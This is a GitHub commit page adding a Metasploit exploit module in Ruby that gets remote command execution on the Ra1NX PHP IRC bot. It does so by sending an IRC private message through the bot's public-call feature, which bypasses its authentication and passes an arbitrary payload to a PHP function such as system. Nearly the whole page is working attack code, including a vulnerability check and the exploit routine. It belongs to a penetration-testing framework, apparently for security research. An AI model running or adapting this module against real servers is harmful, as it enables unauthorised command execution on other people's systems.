Skip to content

Commit 714fc83

Browse files
author
jvazquez-r7
committed
Merge branch 'Ra1NX_pubcall' of https://github.com/bwall/metasploit-framework into bwall-Ra1NX_pubcall
2 parents 7a7af4d + 21ea1c9 commit 714fc83

File tree

1 file changed

+171
-0
lines changed

1 file changed

+171
-0
lines changed
Lines changed: 171 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,171 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = GreatRanking
12+
13+
include Msf::Exploit::Remote::Tcp
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',
18+
'Description' => %q{
19+
This module allows remote command execution on the PHP IRC bot Ra1NX by
20+
using the public call feature in private message to covertly bypass the
21+
authentication system.
22+
},
23+
'Author' =>
24+
[
25+
'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['OSVDB', '91663'],
31+
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
32+
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
33+
['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
34+
],
35+
'Platform' => [ 'unix', 'win'],
36+
'Arch' => ARCH_CMD,
37+
'Payload' =>
38+
{
39+
'Space' => 344,
40+
'BadChars' => '',
41+
'DisableNops' => true,
42+
'Compat' =>
43+
{
44+
'PayloadType' => 'cmd'
45+
}
46+
},
47+
'Targets' =>
48+
[
49+
['Ra1NX / Unix', { 'Platform' => 'unix' } ],
50+
['Ra1NX / Windows', { 'Platform' => 'win' } ]
51+
],
52+
'Privileged' => false,
53+
'DisclosureDate' => 'Mar 24 2013',
54+
'DefaultTarget' => 0))
55+
56+
register_options(
57+
[
58+
Opt::RPORT(6667),
59+
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
60+
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
61+
OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
62+
OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
63+
], self.class)
64+
end
65+
66+
def connect_irc
67+
print_status("#{rhost}:#{rport} - Connecting to IRC server...")
68+
connect
69+
70+
data = ""
71+
begin
72+
read_data = sock.get_once(-1, 1)
73+
while not read_data.nil?
74+
data << read_data
75+
read_data = sock.get_once(-1, 1)
76+
end
77+
rescue EOFError
78+
end
79+
80+
if data and data =~ /020.*wait/
81+
print_status("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")
82+
select(nil, nil, nil, 3)
83+
end
84+
end
85+
86+
def check
87+
connect_irc
88+
89+
response = register(sock)
90+
if response =~ /463/ or response =~ /464/
91+
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
92+
return Exploit::CheckCode::Unknown
93+
end
94+
95+
confirm_string = rand_text_alpha(8)
96+
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
97+
98+
quit(sock)
99+
disconnect
100+
101+
if response =~ /#{confirm_string}/
102+
return Exploit::CheckCode::Vulnerable
103+
else
104+
return Exploit::CheckCode::Safe
105+
end
106+
end
107+
108+
def send_msg(sock, data)
109+
sock.put(data)
110+
data = ""
111+
begin
112+
read_data = sock.get_once(-1, 1)
113+
while not read_data.nil?
114+
data << read_data
115+
read_data = sock.get_once(-1, 1)
116+
end
117+
rescue EOFError
118+
end
119+
data
120+
end
121+
122+
def register(sock)
123+
msg = ""
124+
125+
if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
126+
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
127+
end
128+
129+
if datastore['NICK'].length > 9
130+
nick = rand_text_alpha(9)
131+
print_error("The nick is longer than 9 characters, using #{nick}")
132+
else
133+
nick = datastore['NICK']
134+
end
135+
136+
msg << "NICK #{nick}\r\n"
137+
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
138+
139+
response = send_msg(sock,msg)
140+
return response
141+
end
142+
143+
def ra1nx_command(sock)
144+
encoded = payload.encoded
145+
command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"
146+
response = send_msg(sock, command_msg)
147+
return response
148+
end
149+
150+
def quit(sock)
151+
quit_msg = "QUIT :bye bye\r\n"
152+
sock.put(quit_msg)
153+
end
154+
155+
def exploit
156+
connect_irc
157+
158+
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
159+
response = register(sock)
160+
if response =~ /463/ or response =~ /464/
161+
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
162+
return
163+
end
164+
165+
print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")
166+
ra1nx_command(sock)
167+
168+
quit(sock)
169+
disconnect
170+
end
171+
end

0 commit comments

Comments
 (0)